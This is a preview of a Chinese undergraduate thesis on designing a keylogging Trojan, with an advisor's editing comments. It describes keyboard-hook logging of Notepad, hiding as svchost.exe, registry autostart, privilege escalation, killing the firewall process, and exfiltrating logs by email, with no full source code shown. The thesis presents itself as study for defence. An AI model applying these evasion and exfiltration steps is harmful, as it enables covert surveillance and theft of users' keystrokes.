还剩51页未读,继续阅读
本资源只提供10页预览,全部文档请下载后查看!喜欢就下载吧,查找使用更方便
文本内容:
中南大学本科生毕业论文(设计)题目木马程序设计及植入技术毕业设计(论文)原创性声明和使用授权说明原创性声明本人郑重承诺所呈交的毕业设计(论文),是我个人在指导教师的指导下进行的研究工作及取得的成果尽我所知,除文中特别加以标注和致谢的地方外,不包含其他人或组织已经发表或公布过的研究成果,也不包含我为获得及其它教育机构的学位或学历而使用过的材料对本研究提供过帮助和做出过贡献的个人或集体,均已在文中作了明确的说明并表示了谢意作者签名 日 期 指导教师签名 日 期 使用授权说明本人完全了解大学关于收集、保存、使用毕业设计(论文)的规定,即按照学校要求提交毕业设计(论文)的印刷本和电子版本;学校有权保存毕业设计(论文)的印刷本和电子版,并提供目录检索与阅览服务;学校可以采用影印、缩印、数字化或其它复制手段保存论文;在不以赢利为目的前提下,学校可以公布论文的部分或全部内容作者签名 日 期 学位论文原创性声明本人郑重声明所呈交的论文是本人在导师的指导下独立进行研究所取得的研究成果除了文中特别加以标注引用的内容外,本论文不包含任何其他个人或集体已经发表或撰写的成果作品对本文的研究做出重要贡献的个人和集体,均已在文中以明确方式标明本人完全意识到本声明的法律后果由本人承担作者签名日期年月日学位论文版权使用授权书本学位论文作者完全了解学校有关保留、使用学位论文的规定,同意学校保留并向国家有关部门或机构送交论文的复印件和电子版,允许论文被查阅和借阅本人授权 大学可以将本学位论文的全部或部分内容编入有关数据库进行检索,可以采用影印、缩印或扫描等复制手段保存和汇编本学位论文涉密论文按学校规定处理作者签名日期年月日导师签名日期年月日摘要黑客技术是当今最火热的一个领域,近年来,黑客攻击层出不穷,对网络安全构成了极大的威胁木马是黑客的主要攻击手段之一,它通过渗透进入对方主机系统,从而实现对目标主机的远处操作破坏力相当之大本文综合了木马的发展过程,木马的类型,分析了各种木马的特点,揭示了木马的隐藏方法、特点,及木马的通信方式本文简要分析了Windows操作系统的安全机制,防火墙,防病毒软件的工作原理和木马防范的方法,重点研究了一个木马的设计及VisualC++的实现本文设计的不是通常木马C/S结构,它旨在发送键盘记录的文件,所以它有两个重点部分,本地信息收集部分,以及信息发送部分信息收集主要是实现被植入机器的记事本程序的键盘记录,当记事本的程序运行时,程序中的键盘钩子就开始工作,并且记录下键盘上的记录在信息发送部分,本文采用了发送email的形式,这样虽然比较原始,但是这种方式可以避免频繁地打开端口同时本文在木马隐藏部分也做了不少工作在Win9x与WindowsNT方面都做的不错在Win9x下将木马注册为系统服务,并且使其在进程中消失,在WindowsNT中,将其进程名变为svchost.exe,使得其足够能够迷惑系统管理员木马运行后将自动将自身复制到系统目录下,并且将其命名为一个类似系统文件的名字,使得管理员在众多的系统文件中,不敢轻易删除文件为了尽量防止杀毒软件和防火墙警报,并且努力避免被系统管理员的察觉,减少被发现的概率,在通信部分,采用严格控制邮件发送的次数和时间发送邮件的办法,并且在发送邮件前杀死防火墙进程,使其逃避防火墙的报警关键词[,小四号加粗宋体,英文同]计算机安全木马键盘钩子Email进程隐藏ABSTRACTThehackertechnologynowadaysistheangriestfield.Inrecentyearsthehacker’sattacksappearendlessly.itisagreatthreattonetwork’ssecurity.TheTrojanhorseisoneofthehackersmainattackmeansthatillegallygainsaccesstoanotherhostcomputersystemandtoobtainsecretinformationormonitorspecialoperations.soitisquietserious.ThistextcomprehensiveevolutionofTrojanhorseandthetypeofTrojanhorseitalsoanalysesthecharacteristicsofdifferentTrojanhorseandannouncethemethodandcharacteristicsofhidingandthecommunicationwayoftheTrojanhorse.ThistexthasanalyzedthesecuritymechanismofWindowsoperatingsystemandtheprincipleofthefirewall[firewall,后同]andanti-virussoftwarebrieflyandmakeakeyresearchonthedesignofaTrojanhorseandrealizationwithMicrosoftVisualC++.Thistextdoesn’tdesignstheusuallystructureofC/Saimingatsendingthefilethatthekeylogiswrittendownsoithastwokeypartsoneofthemispartoflocalinformationgatheringkeyboardinformationtheotherpartissendinginformation.InformationgatheringismainlytorealizethenotepadkeyboardrecordofthecomputerwhichTrojanhorsehasbeenplantedinto[标点统一英文]whentheprocedure[进程用process好些,后边相关改下]ofthenotepadbeingperformedthekeyboardhookintheprocedurebeginstoworkandrecordthekeyboard.Inthepartofsendinginformationthistexthasusedtheformofsendingemailthoughitseemstobemoreprimitiveitisabletoavoidofopeningtheportfrequently.Atthesametime,thistextmademucheffortonthepartofTrojanhorsehiding.WhathasbeendoneinWin9xandWindowsNTisverywell.RegisterthehobbyhorsefortheserviceofthesystemunderWin9xandmakeitdisappearedinprocessinWindowsNTturnitsprocessnameintoSVCHOST.EXE[小写]whichisabletoconfusethesystemmanager.TheTrojanhorsewillbecopiedtothesystematiccatalogueautomaticallyafterthehobbyhorseisoperatedandwillbenamedassimilaroneofthesystematicfileswhichmakeadministratorsdarenottodeletethefileeasilyamongthenumeroussystematicfile.Toavoidantivirussoftwareandfirewall’salarmtheperceptionofthesystemmanagerandtodecreaseprobabilityofbeingperceptedTrojanhorse.[前面的句子有问题,连不上]Incommunicationpartitcontrolsthenumberoftimesandtimeofsendingemailsstrictly.BeforesendingEmailsitkillsthefirewallprocesssothatitcanescapefromthealarmoffirewall.KEYWORDS[]Computer[]SecurityTrojan[]horseKeyLogEmailProcess[]Hiding[英文单词间都空一格,标点紧跟单词,后空一格较美观,统一一下吧]目录TOC\o1-3\h\z\u第一章绪论
11.1计算机安全背景
11.2木马的研究背景
11.
2.1木马的产生背景
11.
2.2木马的发展过程
21.
2.3木马的未来
21.3WINDOWS安全机制
31.4研究内容与本文所做的工作
31.5本课题的设计目的及意义
41.6论文的组织5第二章木马程序的总体设计及关键技术分析
62.1程序设计环境
62.2方案分析及基本思想
62.3程序总体结构
72.
3.1木马程序的主体部分
92.
3.2WINDOWS键盘事件监控原理
102.
3.3电子邮件实现原理
112.4关键技术
152.
4.1MFC
152.
4.2动态链接库技术18第三章木马程序的实现
183.1木马的主体部分
183.
1.1自身复制模块
183.
1.2自启动模块
183.
1.3隐藏模块
183.
1.4提升权限模块
183.
1.5杀死目标进程模块
183.
1.6判断发送条件
183.2键盘记录的具体实现
183.
2.1钩子的制作
183.
2.2钩子的使用
183.3发送邮件的实现
183.
3.1SMTP协议的会话流程
183.
2.2邮件的格式化
183.
3.3由Socket套接字为SMTP提供网络通讯基础
183.
3.4SMTP会话应答的实现
183.
3.5base64编码
183.4木马的捆绑18第四章“木马”病毒的防范
184.1木马的入侵
184.2如何发现自己电脑中的木马
184.3删除木马
184.4使用防火墙
184.5使用杀毒软件
184.
5.1杀毒基本原理
184.
5.2经典杀毒引擎介绍
184.6注意事项18第五章结束语18参考文献44致谢45[目录可以考虑单独编页码,使用分节即可实现]第一章绪论
1.1计算机安全背景计算机网络技术的飞速发展和普及应用使人们充分享受网络带来的种种便利与此同时也对网络与系统安全提出了更高的要求近年来,随着社会及家庭网络应用的大量普及,计算机信息安全越来越成为人们重视与关心的焦点问题在用户享受宽带网络带来的便利与快捷的同时,也为各类严重威胁计算机信息安全的病毒提供了方便之门据有关部门连续三年调查表明,2001年约73%的计算机用户曾感染过病毒,其中,感染三次以上的用户高达59%;到了2002年,受感受的用户上升到近84%;2003年上半年又增加到85%,并呈现出继续上升趋势在众多病毒当中,木马病毒由于具备能够隐蔽地随时向外发送指定信息,甚至具备远程交互能力而成为黑客们钟爱的后门工具臭名昭著的BO使人谈“冰”色变的冰河号称“地狱巴士”的NetBus“网络间谍”[前边空格勇逗号或者其他标点]“广外女生”等等都是经典的木马木马作为黑客的攻击手段之一它对系统具有强大的控制功能一个功能强大的木马一旦被植入您的机器攻击者就可以像操作自己的机器一样控制您的机器甚至可以远程监控您的所有操作其破坏力是不容忽视的对于用户而言,木马病毒的危害是巨大的,它使用户的计算机随时暴露于黑客的控制监视之下,黑客们可以轻易地窃取自己感兴趣的数据并传输到指定的计算机中,这较之传统病毒只能破坏用户数据的危害又大了许多
1.2木马的研究背景
1.
2.1木马的产生背景特洛伊木马TrojanHorse,以下简称木马,名称来源于古希腊的特洛伊木马的故事,希腊人围攻特洛伊城,很多年不能得手后想出了木马的计策,他们把士兵藏匿于巨大的木马中在敌人将其作为战利品拖入城内后,木马内的士兵爬出来,与城外的部队里应外合而攻下了特洛伊城计算机木马的设计者套用了同样的思路,把木马程序插入正常的软件、邮件等宿主中在受害者执行这些软件的时候,木马就可以悄悄地进入系统,向黑客开放进入计算机的途径木马是一种基于远程控制的黑客工具,通过互联网资源隐蔽地对远程目标主机进行非授权的访问木马对系统具有强大的控制功能,操纵木马的人可以通过网络像使用自己的机器一样远程控制木马所在的目标主机,甚至可以远程监控受控主机上的所有操作
1.
2.2木马的发展过程木马的产生阶段和发展,到目前为止,木马的发展已经经历了五代:1第一代木马只是实现简单密码窃取,发送等,在隐藏和和通信方面均无特别之处2第二代木马的典型代表是冰河,它以文件关联方式启动通过电子邮件发送信息,在木马技术发展上开辟了新的篇章3第三代木马的信息传输方式有所突破,采用ICMP协议,增加了查杀的难度4第四代木马在进程隐藏方面获得了重大的突破,采用插入内核的嵌入方式,利用远程插入线程技术,嵌入DLL线程,或挂接PSAPI等,实现木马程序的隐藏,利用反弹端口技术突破放火墙限止,在WindowsNT/2000下取得了良好的隐藏效果5第五代木马和病毒紧密结合,利用操作系统漏洞,直接实现感染传播的目的,而不必像以前木马那样需要欺骗用户主动激活,例如最近新出现的类似冲击波病毒的木马-“噩梦2”
1.
2.3木马的未来1传统的TCP端对端连接会被抛弃未来木马要么采用非TCP/UDP的IP族数据包如ICMP方式增加了查杀的难度它们十分隐蔽如果不对数据包详细分析很难查出木马入侵;要么采用寄生TCP端口例如:我们进行TCP操作时打开21号端口当我们进行FTP操作时木马也可同时通过21号端口与服务端进行连接这样木马传输的数据包和正常的数据包很难区分开来2在传播方式上未来木马会和病毒一样采用交叉式迅速大规模扩散并且运行方式越来越隐蔽3将更注重底层的通讯编程如针对网卡和Modem的通讯编程这样可以避开防火墙的监视和过滤4采取虚拟设备驱动程序VXD及动态链接库DLL技术伪装隐藏方式更隐蔽据悉目前已有采用此种方式编写的木马采用这种方式编写的木马与一般的木马不同它基本上摆脱了原有的木马模式而采用DLL动态嵌入远程线程技术这样做的结果是:系统中没有增加新的文件不需要打开新的端口没有新的进程在正常运行时木马几乎没有任何的症状而一旦木马的控制端向被控端发出特定的信息后隐蔽的程序就立即开始动作
1.3Windows安全机制黑客利用木马对网络上的主机进行攻击,是在其充分认识了网络操作系统中的安全体系之后进行的那么,同样应付他们的攻击对于我们同样重要计算机网络中常用的安全技术有主机安全技术、身份认证技术、访问控制技术、密码技术、防火墙技术、安全审计技术和安全管理技术当今WindowsNT系统是最火热的系统,下面就以WindowsNT为例简单讲述
1.WindowsNT中的对象是NT操作系统中的基本元素对象可以是文件、目录、存储器、驱动器、系统程序或Windows中的桌面等
2.WindowsNT
4.0的安全性设计目标在设计WindowsNT结构的时候,微软把目标定位于一个具有各种内在安全功能的强大而坚实的网络操作系统
3.使用WindowsNT的实现网络安全策略WindowsNT
4.0的安全结构由3个基本安全子系统的模块组成,即身份认证、信任确定和审计跟踪对于每一个机构,任何操作系统的安全机制都不是自动生成的,因此,在使用WindowsNT之前必须先制定它们的安全策略这些策略需要进行详细地说明,在明确了该机构对访问控制信息的保护及审核方面的具体要求之后,还需要对所制定的安全策略进行正确地配置,并实现了对象的访问控制之后,才能说用NT构建一个高度安全地系统由此可见,只有将企业的安全策略和WindowsNT底层的安全机制有机地结合起来,才能充分发挥WindowsNT的各项安全特性
4.WindowsNT的安全机制微软的WindowsNTServer提供了安全管理的功能,以及在企业级网络中实现和管理这些功能的工具(1)WindowsNT的安全子系统有本地安全权威、安全账户管理、安全访问监督等
(2)WindowsNT提供的安全机制有登录过程控制、存取控制、存取标识和存取控制列表等
1.4研究内容与本文所做的工作综述现有流行的木马技术,分析和总结木马设计的一般原理;使用VC设计实现一良性木马程序,要求木马植入过程尽可能避免常见的防火墙及杀毒软件报警要求木马程序激活后能够绕过常见的防火墙及防毒软件(或结束此类进程)并开始工作;要求木马程序每隔一段时间发送一次植入机器记事本程序的键盘记录本文首先阐述了木马的产生背景,发展过程,以及木马的未来的发展方向分析了网络安全的现状,和严峻性之后分析了一个简单木马的实现相关技术背景,和如何防御木马的入侵,重点研究了一个键盘记录类型的木马的实现本文首先要实现木马的最基本功能,既信息的盗取,和信息的发送信息的盗窃是要实现在记事本运行的过程中记录键盘的记录那么在检视到记事本已经运行,键盘记录模块的功能便能记录键盘的记录之后,便是如何将信息发送出去发送部分可以选择客户/服务器类型的,在被植入电脑的服务器端程序将信息通过端口发送到正在被监听客户端发送EMAIL也是非常通用和有效的方法,设置好EMAIL地址,服务器将记录下的文件以EMAIL的形式发送到指定的邮箱去木马的隐藏与防止杀毒软件和防火墙的追杀和拦截同样是木马的最重要的部分本文将木马生成的美丽的诱人的图标,吸引受害者安装木马将自己隐藏在系统目录下并且迷惑系统管理员;木马通过修改注册表中的键值实现木马的自启动在进程进程隐藏,在Win9x下通过注册为系统服务在进程中隐藏,在WindowsNT下更改进程名为WindowsNT下多个SVCHOST.EXE名字迷惑管理员信息发送使用EMAIL的形式,通过严格控制EMAIL的发送时间和次数,并且在发送邮件前杀死防火墙进程的方式避免防火墙的报警
1.5本课题的设计目的及意义本课题涉及到的是现在不管是政府机构,公司,还是个人都关心的网络安全问题当前的这个问题对于每个人都是首先要面对的问题那么我们应当怎么去应对这个问题呢,“知己知彼,百战不殆”只有知道黑客是怎么样去攻击,怎样实现他们的木马在熟悉木马的各方面的实现原理、关键技术后,就能基本上对付黑客的攻击,维护自己的利益,保证自己的机密信息不被泄漏,把自己损失降到最低点本文介绍了一些最基本的网络及个人电脑的安全问题,还设计实现了一个简单木马,并且还介绍了木马程序的高级技巧和未来的趋势本文介绍木马编程的一般技巧,并不是教人去如何攻击他人,目的只是让大家了解木马的工作原理和简单的编写步骤,以便更好地防范和清除木马,维护我们自己应有的网络安全本次设计侧重于设计实现一个简单木马根据木马程序目的性,将木马分为隐藏部分、信息收集部分和信息发送部分它基本功能就是键盘记录和发送记录文件该木马是在Windows平台下,利用VisualC++
6.0进行编程,大量调用WindowsAPI进程编程,并且使用了DLL技术进行模块化设计这种设计方法有利于锻炼Windows程序员模块设计能力,和不同模块的接口问题这不仅可以使我们学习和理解到网络安全方面的基本知识、木马的基本原理和实现方法,而且有利于对于Windows编程有更深入的理解,拓宽知识面,增强我们对网络安全防范的意识,不管是对于学习、生活还是生产实践都有很大的意义
1.6论文的组织全文共分5章,首先讲述木马产生的背景,发展情况,和未来木马技术以及Windows的安全机制基本原理之后重点研究实现了一个键盘记录类型的木马,在研究一个木马实现后,讲述怎样去防范木马病毒第一章为绪论,介绍木马发展情况,简单讲述计算机的安全机制,以及该研究的目的及意义第二章介绍木马的设计思想、总体结构,开发方案第三章详细介绍本文研究的重点部分——木马的设计与实现第四章讲述木马病毒的防范第五章是总结对本文所做的工作进行总结,并阐述进一步的研究工作第二章木马程序的总体设计及关键技术分析这部分主要介绍本木马的程序设计所在的程序设计环境和程序设计的相关关键技术根据本木马设计的基本出发点顺利注入目标机器,尽量隐藏自身,不被查杀软件的报警,避免系统管理员的察觉,顺利的把记事本程序运行时的键盘记录发送出来首先分析了当前一些木马的特点,确定本木马程序实现方案之后分析了要实现该方案的关键技术
2.1程序设计环境本木马的程序设计的软硬件环境如下硬件环境CPU
1.8G;内存256DDR软件环境WindowsXP操作系统,开发工具采用VisualC++
6.0其中在系统目录的还添加了psapi.lib和psapi.h文件
2.2方案分析及基本思想当前木马的种类繁多,木马的形式与其功能有着密切的关系究竟采用那种形式与木马设计者的目标有着直接的关系,例如要获得被侵入机器的控制权,查阅目标机器中的重要文献,上传病毒,下载有用的机密文件,或者恶性的格式化机器硬盘则一般采用网络客户/服务程序类型根据本木马设计的基本目的隐藏自身,把记事本程序运行时的键盘记录发送出来下面提出了基于VisualC++
6.0开发木马设计思想 1.[点号统一,其后标题文字监空格要加全加]捆绑文件由于本木马采用模块化设计,将键盘记录和记录信息发送功能分别封装在几个DLL(动态链接库)中,只提供几个对外的函数接口,于是在程序主体部分,需要实现这些功能的时候,只要装入动态链接库就行了,调用要实现功能的函数即可在程序运行时候,DLL必须要跟程序主体的可执行文件在同一目录下所有的功能才能正常的实现所以要将这两个DLL文件和一个EXE文件捆绑起来变成一个可执行文件,在当然在进入目标计算机时候,只要该文件被执行,三个文件将释放到同一系统目录下,并且执行木马主体的EXE文件2.伪装隐藏木马木马它是一种基于远程控制的黑客工具具有隐蔽性和非授权性的特点隐蔽性是指为了防止木马被发现采用各种手段伪装隐藏木马木马在工作时候不能出现主界面,木马必须在任务栏中隐藏,木马要复制自身到隐蔽的地方给木马选一个好图标和一个好名字木马要尽量在Windows的各种版本中的进程中隐藏
3.自启动木马木马的运行不会指望用户每次启动系统后点击木马图标来运行木马服务端Windows的自启动方式其实有许多方式除了一些常见的启动方式之外,还有一些非常隐蔽的可用来启动文件的方式木马要做的是如何在每次用户启动时自动装载服务端Windows支持多种的在系统启动时自动加载应用程序的方法在Windows系统下,木马可以通过注册表、Win.ini、system.ini、Autoexec.bat和Config.sys、捆绑替换系统文件、启动菜单及程序配置.ini文件来自我启动运行本文通过修改注册表,实现了木马的自启动
4.利用键盘钩子实现对键盘的记录钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统钩子的种类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到达目的窗口之前,钩子程序先行截获该消息、得到对此消息的控制权此时在钩子函数中就可以对截获的消息进行加工处理,甚至可以强制结束消息的传递键盘记录就是使用钩子截获键盘消息,钩子可以实现下面的功能:把截获的消息复制一份自己保留,在把原消息原封不动发出去;把截获的到的消息扣留;把截获到的消息改变后发出去.为了不使原来的程序出现错误,我们采用第一条作用.分为两步实现:钩子的制作和钩子的使用
5.基于SMTP协议的电子邮件形式实现木马的通信由于本木马主要功能就是发送记事本程序运行时的键盘记录,不用对被植入机器的进行如打开文件夹,上传,下载,以及格式化硬盘等等控制所以EMAIL式本木马是很好的选择,它避免了通常的网络客户/服务程序形式,以及频繁的开端口进行实时监控因为这样很容易被一些防杀软件查杀,也很容易引起管理员的察觉而利用EMAIL就能很好的避免这一缺点它的原理就是在被植入方中的木马程序选择一个有利时机瞬时发送记录键盘模块生成的文件到指定的EMAIL地址上去,并且尽量避免防火墙的警告
2.3程序总体结构本木马的主要功能就是记录键盘记录,发送键盘记录,并尽量隐藏以避免被察觉程序基本工作作图如图2-1所示:[下边的图我看到乱,只要打印预览正常就行,绘图对象位置微调用CTRL+方向键]通过木马的工作流程对其有个初步认识,那么程序的结构根据木马的功能三个重要组成部分键盘记录部分(由test
3.dll封装实现功能),邮件发送部分(由smtp_dll.dll封装实现功能),木马主体部分木马的结构图如下
2.
3.1木马程序的主体部分程序的主体部分是包括装载键盘记录和发送邮件封装的动态链接库,以及确定木马启动方式,和各种隐藏,记录文件,发送邮件的功能木马主体部分通过装载键盘记录的动态链接库“test
3.dll”,安装键盘记录的钩子;还静态装载了发送邮件的动态链接库smtp_dll.dll捆绑后的木马一旦点击必须复制自身到系统目录下,隐藏自己,并且开始运行木马具有非授权性,因此要隐藏自己,在隐藏模块中,它通过各种方法隐藏程序的显示窗口,在任务栏中隐藏,并且使其在Windows98进行进程隐藏,在Windows2000和WindowsXP等更高的系统中隐藏进程同时在主体部分的判断发送条件模块,检查是否符合发送邮件的条件,可以任意设置发送邮件条件,如文件长度为1k,发送时间段为上午11点如果符合就先杀死天网防火墙的进程,并且初始化邮件发送邮件,并且把发送后的文件清空,继续记录键盘记录否则就不发送记录文件,继续记录通过判断系统类型,木马是个特殊的程序,它需要足够的权限来实现比较特殊的功能,比如杀死防杀软件的进程,就必须提高该木马程序的权限,通过提高权限模块提高权限,该功能在提高权限模块中实现同时木马需要杀死其不希望的程序,在杀死进程模块中就要实现两个功能:通过进程名就能找到该进程在系统工作的PID,那么找到PID后,就能够通过PID杀死目标进程,如天网防火墙等等
2.
3.2WINDOWS键盘事件监控原理WINDOWS的消息处理机制为了能在应用程序中监控系统的各种事件消息,提供了挂接各种反调函数HOOK的功能这种挂钩函数HOOK类似扩充中断驱动程序,挂钩上可以挂接多个反调函数构成一个挂接函数链系统产生的各种消息首先被送到各种挂接函数,挂接函数根据各自的功能对消息进行监视、修改和控制等,然后交还控制权或将消息传递给下一个挂接函数以致最终达到窗口函数
1.在WINDOWS键盘事件上挂接监控函数的方法WINDOW下可进行挂接的过滤函数种类WH_CALLWNDPROC窗口函数的过滤函数WH_CBT计算机培训过滤函数WH_DEBUG调试过滤函数WH_GETMESSAGE获取消息过滤函数WH_HARDWARE硬件消息过滤函数WH_JOURNALPLAYBACK消息重放过滤函数WH_JOURNALRECORD消息记录过滤函数WH_MOUSE鼠标过滤函数WH_MSGFILTER消息过滤函数WH_SYSMSGFILTER系统消息过滤函数WH_KEYBOARD键盘过滤函数其中键盘过滤函数是最常用最有用的过滤函数类型,不管是哪一种类型的过滤函数,其挂接的基本方法都是相同的WINDOW调用挂接的反调函数时总是先调用挂接链首的那个函数,因此必须将键盘挂钩函数利用函数SetWindowsHookEx将其挂接在函数链首至于消息是否传递给函数链的下一个函数是由每个具体函数功能确定的,如果消息需要传统给下一个函数,可调用API函数的CallNextHookEx来实现,如果不传递直接返回即可挂接函数可以是用来监控所有线程消息的全局性函数,也可以是单独监控某一线程的局部性函数如果挂接函数是局部函数,可以将它放到一个.DLL动态链接库中,也可以放在一个局部模块中;如果挂接函数是全局的,那么必须将其放在一个.DLL动态链接库中挂接函数必须严格按照下述格式进行声明,以键盘挂钩函数为例intFARPASCALKeyboardProcintnCodeWORDwParamDWORDlParam其中KeyboardProc为定义挂接函数名,该函数必须在模块定义文件中利用EXPORTS命令进行说明;nCode决定挂接函数是否对当前消息进行处理;wParam和lParam为具体的消息内容2.键盘事件挂接函数的安装与下载在程序中可以利用函SetWindowsHookEx来挂接过滤函数,在挂接函数时必须指出该挂接函数的类型、函数的入口地址 SetWindowsHookExiTypeiProchInstiCode其中iType为挂接函数类型,键盘类型为WH_KEYBOARDiProc为挂接函数地址,hInst为挂接函数链接库实例句柄,iCode为监控代码-0表示全局性函数如果挂接函数需要将消息传递给下一个过滤函数,则在该挂接函数返回前还需要调用一次CallNextHookEx函数,当需要下载挂接函数时,只要调用一次UnhookWindowsHookExiProc函数即可实现如果函数是全局性的,那么它必须放在一个.DLL动态链接库中,这时该函数调用方法可以和其它普通.DLL函数一样有三种
(1)在DEF定义文件中直接用函数名或序号说明 EXPORTSWEP@1RESIDENTNAMEInitHooksDll@2InstallFilter@3KeyboardProc@4用序号说明格式为链接库名.函数名如本例中说明方法为KEYDLL.KeyboardProc
(2)在应用程序中利用函数直接调用首先在应用程序中利用LoadLibraryLPSTR链接库名将动态链接库装入,并取得装载库模块句柄hInst然后直接利用GetProcAddressHINSTANCEhInstLPSTR函数过程名获取函数地址,然后直接调用该地址即可,程序结束前利用函数FreeLibrary释放装入的动态链接库即可3利用输入库.LIB方法利用IMPLIB.EXE程序在建立动态链接库的同时建立相应的输入库.LIB,然后直接在项目文件中增加该输入库
3.WINDOWS挂钩监控函数的实现步骤WINDOWS挂钩函数只有放在动态链接库DLL中才能实现所有事件的监控功能在.DLL中形成挂钩监控函数基本方法及其基本结构
(1)首先声明DLL中的变量和过程;
(2)然后编制DLL主模块LibMain,建立模块实例;
(3)建立系统退出DLL机制WEP函数;
(4)完成DLL初始化函数InitHooksDll传递主窗口程序句柄;
(5)编制挂钩函数KeyboardProc,在其中设置监控功能,并确定继续调下一个钩子函数还是直接返回WINDOWS应用程序
(6)在WINDOWS主程序中需要初始化DLL并安装相应挂钩函数,由挂接的钩子函数负责与主程序通信;
(7)在不需要监控时由下载功能卸掉挂接函数
2.
3.3电子邮件实现原理电子邮件服务在网络应用中也起到非常重要的作用如同其他的网络服务,电子邮件系统也有其使用的传输协议,包括SMTP(SimpleMailTransferProtocol,简单邮件传输协议)、POP(PostOfficeProtocol,邮局协议)和IMAP(InternetMessageAccessProtocal,消息访问协议)等,其中SMTP负责邮件的发送POP3负责邮件的接收在本文中,我们只需要木马发送邮件到指定的邮箱上去,邮箱使用的公用的免费邮箱,所以我们只需要发送邮件,并不需要负责邮件接收的POP3协议下面讲述以SMTP协议为研究对象,在VisualC++
6.0编程环境下按照SMTP协议通过套接字发送SMTP命令,接收并处理邮件服务器的反馈信息,从而实现对电子邮件的发送
2.
3.
3.1SMTP协议的通讯模型和会话流程
1.SMTP协议通讯模型 SMTP协议是TCP/IP协议族中的一员,主要对如何将电子邮件从发送方地址传送到接收方地址,也即是对传输的规则做了规定SMTP协议的通信模型并不复杂,主要工作集中在发送SMTP和接收SMTP上首先针对用户发出的邮件请求,由发送SMTP建立一条连接到接收SMTP的双工通讯链路,这里的接收SMTP是相对于发送SMTP而言的,实际上它既可以是最终的接收者也可以是中间传送者发送SMTP负责向接收SMTP发送SMTP命令,而接收SMTP则负责接收并反馈应答可大致用下面的通讯模型示意图来表示
2.
2.
3.2SMTP协议的命令和应答从前面的通讯模型可以看出SMTP协议在发送SMTP和接收SMTP之间的会话是靠发送SMTP的SMTP命令和接收SMTP反馈的应答来完成的在通讯链路建立后,发送SMTP发送MAIL命令指令邮件发送者,若接收SMTP此时可以接收邮件则作出OK的应答,然后发送SMTP继续发出RCPT命令以确认邮件是否收到,如果接收到就作出OK的应答,否则就发出拒绝接收应答,但这并不会对整个邮件操作造成影响双方如此反复多次,直至邮件处理完毕SMTP协议共包含10个SMTP命令,列表如下SMTP命令命令说明HELLO<domain><CRLF>识别发送方到接收SMTP的一个HELLO命令MAILFROM:<reverse-path><CRLF><reverse-path>为发送者地址此命令告诉接收方一个新邮件发送的开始,并对所有的状态和缓冲区进行初始化此命令开始一个邮件传输处理,最终完成将邮件数据传送到一个或多个邮箱中RCPTTO:<forward-path><CRLF><forward-path>标识各个邮件接收者的地址DATA<CRLF>接收SMTP将把其后的行为看作邮件数据去处理,以<CRLF>.<CRLF>标识数据的结尾REST<CRLF>退出/复位当前的邮件传输NOOP<CRLF>要求接收SMTP仅做OK应答(用于测试)QUIT<CRLF>要求接收SMTP返回一个OK应答并关闭传输VRFY<string><CRLF>验证指定的邮箱是否存在,由于安全因素,服务器多禁止此命令EXPN<string><CRLF>验证给定的邮箱列表是否存在,扩充邮箱列表,也常禁止使用HELP<CRLF>查询服务器支持什么命令SMTP协议的每一个命令都会返回一个应答码,应答码的每一个数字都是有特定含义的,如第一位数字为2时表示命令成功;为5表失败;3表没有完成一些较复杂的邮件程序利用该特点,首先检查应答码的首数字,并根据其值来决定下一步的动作下面将SMTP的应答码列表如下[下边的表我帮你调整了]应答码说明501参数格式错误502命令不可实现503错误的命令序列504命令参数不可实现211系统状态或系统帮助响应214帮助信息220<domain>服务就绪221<domain>服务关闭421<domain>服务未就绪,关闭传输信道250要求的邮件操作完成251用户非本地,将转发向<forward-path>450要求的邮件操作未完成,邮箱不可用550要求的邮件操作未完成,邮箱不可用451放弃要求的操作;处理过程中出错551用户非本地,请尝试<forward-path>452系统存储不足,要求的操作未执行552邮箱名不可用,要求的操作未执行553开始邮件输入,以.结束354开始邮件输入,以.结束554操作失败
2.
2.
3.2SMTP发送邮件的过程过程如下:1建立TCP连接[编号没对齐,编号与文本之间加空格统一]2客户端发送HELLO命令以标志发送人自己的身份,然后客户端发送MAIL命令服务器希望以OK作为响应,表明准备接受3客户端发送RCPT命令,以标志改电子邮件的计划接收人,可以有多个RCPT行4服务器端则表示是否愿意为接收接受邮件5协商接受,发送邮件,用命令DATA发送6以“.”表示结束输入内容一起发送出去7结束此次发送,用QUIT命令退出
2.4关键技术
2.
4.1MFC由于MFC具有独特的优势,封装了大量的类,其能够简化编程量,极大的降低了编程的难度,所以本木马程序的主体部分是使用MFC进行的编程MFC的英文全称是MicrosoftFundationClasses,即微软的基本类库,MFC的本质就是一个包含了许多微软公司已经定义好的对象的类库,虽然我们要编写的程序在功能上不同,但从本质上来讲,都可以化归为用户界面的设计,对文件的操作,多媒体的使用,数据库的访问等等一些最主要的方面这一点微软提供MFC类库最重要的原因,在这个类库中包含了一百多个程序开发过程中最常用到的对象在进行程序设计的时候,如果类库中的某个对象能完成所需要的功能,这时我们只要简单地调用已有对象的方法就可以了我们还可以利用面向对象技术中很重要的“继承”方法从类库中的已有对象派生出我们自己的对象,这时派生出来的对象除了具有类库中的对象的特性和功能之外,还可以由我们自己根据需要加上所需的特性和方法,产生一个更专门的,功能更为强大的对象当然,也可以在程序中创建全新的对象,并根据需要不断完善对象的功能 MFC编程方法充分利用了面向对象技术的优点,所以编程时极少需要关心对象方法的实现细节,同时类库中的各种对象的强大功能足以完成我们程序中的绝大部分所需功能,这使得需要编写的代码大为减少,有力地保证了程序的良好的可调试性 MFC类库在提供的对象的各种属性和方法都是经过谨慎的编写和严格的测试,可靠性很高,这就保证了使用MFC类库不会影响程序的可靠性和正确性
2.
4.
